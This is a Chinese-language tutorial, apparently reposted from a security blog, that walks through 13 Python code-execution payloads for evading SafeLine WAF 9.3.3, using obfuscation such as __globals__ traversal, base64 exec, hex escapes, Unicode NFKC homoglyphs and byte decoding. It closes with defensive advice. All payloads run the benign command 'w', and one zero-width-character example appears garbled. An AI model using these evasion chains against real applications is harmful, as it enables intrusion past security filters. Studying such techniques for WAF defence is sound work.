浅尝Python代码执行绕过WAF的艺术
字数 2938
更新时间 2026-03-24 14:47:35
Python代码执行绕过WAF教学文档
本文档基于《浅尝Python代码执行绕过WAF的艺术》一文,旨在系统性讲解多种绕过Web应用防火墙(WAF)的Python代码执行技巧。文章以雷池(SafeLine)WAF 9.3.3个人版为测试对象,通过13个实战Payload,深入剖析绕过原理。
0x01 核心思想
绕过WAF的本质在于破坏其预设的正则匹配模式、关键词检测或语义分析逻辑,通过编码、混淆、反射、动态构建等方式,将恶意载荷“变形”,使其在执行时恢复功能,但在检测时特征被掩盖。
0x02 准备工作
- 目标WAF:雷池(SafeLine)WAF 个人版 Version 9.3.3
- 测试指令:统一使用Linux命令
w,以降低命令本身的攻击特征对检测结果的影响。
0x03 绕过手法详解
早期尝试(被拦截的案例)
Payload 1: 直接调用
- 代码:
import os; os.system("w") - 拦截原因: 直接检测到
system(敏感字符组合。
Payload 2: 字符串拼接
- 代码:
e=eval; p='__im'+'port__'; o='o'+'s'; s='sys'+'tem'; e(p+'("'+o+'").'+s+'("w")') - 结果:
- 普通模式:绕过。
- 高强度模式:被拦截。WAF检测到
eval并在后台记录为XSS攻击。
Payload 3: 通过__globals__获取__builtins__
- 代码:
g=getattr; gn='__glob'+'als__'; bn='__buil'+'tins__'; e=g(lambda:0,gn)[bn]['ev'+'al']; e('__im'+'port__("os").system("w")') - 结果:同Payload 2,被智能语义检测到
eval而被拦截。
成功绕过案例
Payload 4: 动态属性溯源
- 代码:
g=getattr; gb='__glob'+'als__'; bi='__buil'+'tins__'; im='__im'+'port__'; b=g(lambda:0,gb)[bi]; i=b[im] if isinstance(b,dict) else g(b,im); i('o'+'s').system('w') - 原理:利用函数对象(
lambda:0)的__globals__属性指向其全局命名空间的特性,间接获取__builtins__,再从中取出__import__函数。整个链条避开了直接书写__import__、__builtins__等敏感词。
Payload 5: 环境对象依赖
- 代码:
g=getattr; bk='__buil'+'tins__'; b=g(pd,bk); ik='__im'+'port__'; i=b[ik] if isinstance(b,dict) else g(b,ik); sk='sys'+'tem'; ok='o'+'s'; g(i(ok),sk)('w') - 原理:利用环境中已存在的合法第三方库(如pandas的
pd)作为跳板,通过getattr(pd, '__builtins__')获取内置函数空间。WAF可能对业务常用库的审计权重较低或存在白名单机制。
Payload 6: 标准编码混淆
- 代码:
import base64; exec(base64.b64decode('aW1wb3J0IG9zO29zLnN5c3RlbSgndycp').decode()) - 原理:将恶意代码
import os;os.system('w')进行Base64编码。这是经典绕过方式,但许多基础WAF可能缺乏动态解码检测能力。
Payload 7: 字符级动态构造
- 代码:
import os;getattr(os, ''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))(chr(119)) - 原理:利用
chr()函数将ASCII码转换为字符,在内存中动态拼接出system和w,避免在源代码中出现完整的敏感字符串。
Payload 8: 十六进制转义与字典访问
- 代码:
i=__import__('\x6f\x73');vars(i)['\x73\x79\x73\x74\x65\x6d']('\x77') - 原理:
- 编码:使用
\x十六进制转义字符表示os、system、w。 - 属性访问变形:使用
vars(i)['system']代替i.system。vars()返回对象的属性字典,此方法将.属性访问转换为字典键值访问,破坏了os.system这种连续字符串模式。
- 编码:使用
Payload 9: 进阶反射调用
- 代码:
import importlib as i;m=i.import_module('\x6f\x73');m.__getattribute__('\x73\x79\x73\x74\x65\x6d')('\x77') - 原理:
- 替代导入:使用
importlib.import_module代替__import__或import关键字。 - 底层属性获取:使用对象底层的
__getattribute__方法获取system函数引用,比getattr更少见。
- 替代导入:使用
Payload 10: Unicode 等价性 (NFKC)
- 代码:
𝒆𝒙𝒆𝒄("import os;os.𝒔𝒚𝒔𝒕𝒆𝒎('w')") - 原理:利用Unicode中的“数学斜体”字符(如
𝒆𝒙𝒆𝒄是exec的视觉变体)。Python解释器在解析标识符时会进行NFKC正规化,将其转换为标准ASCII字符exec。但基于正则表达式(如[a-z])的WAF规则无法识别这种特殊Unicode字符。
Payload 11: 零宽字符干扰
- 代码:
c = 'o\s.s\y\s\tem("w")'.replace('\', ''); getattr(builtins, 'ev'+'al')(c) - 原理:在关键字符串中插入零宽空格(
),该字符在显示和解释执行时(被replace移除后)无影响,但能打断WAF正则引擎对连续字符串(如os.system)的匹配。
Payload 12: F-string 逻辑拆分
- 代码:
c=f"{'s'}{'y'}{'s'}{'t'}{'e'}{'m'}"; getattr(__import__('os'), c)('w') - 原理:利用F-string在大括号
{}内执行表达式并返回字符串的特性,将system拆分为六个独立的单字符。静态分析时是六个字符常量,仅在运行时拼接。
Payload 13: Latin-1 字节流逃逸
- 代码:
b=__builtins__; k=bytes([101, 120, 101, 99]).decode('latin-1'); b[k](bytes([105,109,112,111,114,116,32,111,115,59,111,115,46,115,121,115,116,101,109,40,39,119,39,41]).decode('latin-1')) - 原理:
- 字节构造:将
exec和import os;os.system('w')的每个字符转为ASCII码列表。 - Latin-1解码:利用Latin-1编码与0-255字节码的一一对应关系,将字节列表解码回字符串。
- 直接索引调用:通过
__builtins__[k]获取exec函数,避免.操作符。
- 字节构造:将
0x04 总结与防御启示
- 组合拳效果更强:单一手法可能被某些规则拦截,但将多种手法(如编码+反射+动态构建)组合使用,绕过率会显著提高。
- 应用场景:主要针对存在代码/命令执行漏洞的Python后端应用。
- WAF检测盲区:传统正则匹配和基础语义分析在面对Unicode正规化、字节流转换、动态反射和内存拼接等复杂手法时存在明显不足。
- 防御建议:
- 对WAF研发者而言,需深入理解Python解释器的底层特性(如NFKC、属性查找链),并结合动态沙箱、行为分析等进行多维度检测。
- 对开发者而言,避免使用
eval、exec、os.system等危险函数,使用最小权限原则运行服务,并对输入进行严格的白名单验证。
注:本文档内容完全基于提供的链接内容整理。文中所有技术仅用于安全研究与防御技术探讨,任何个人或组织不得将其用于非法用途。
相似文章
相似文章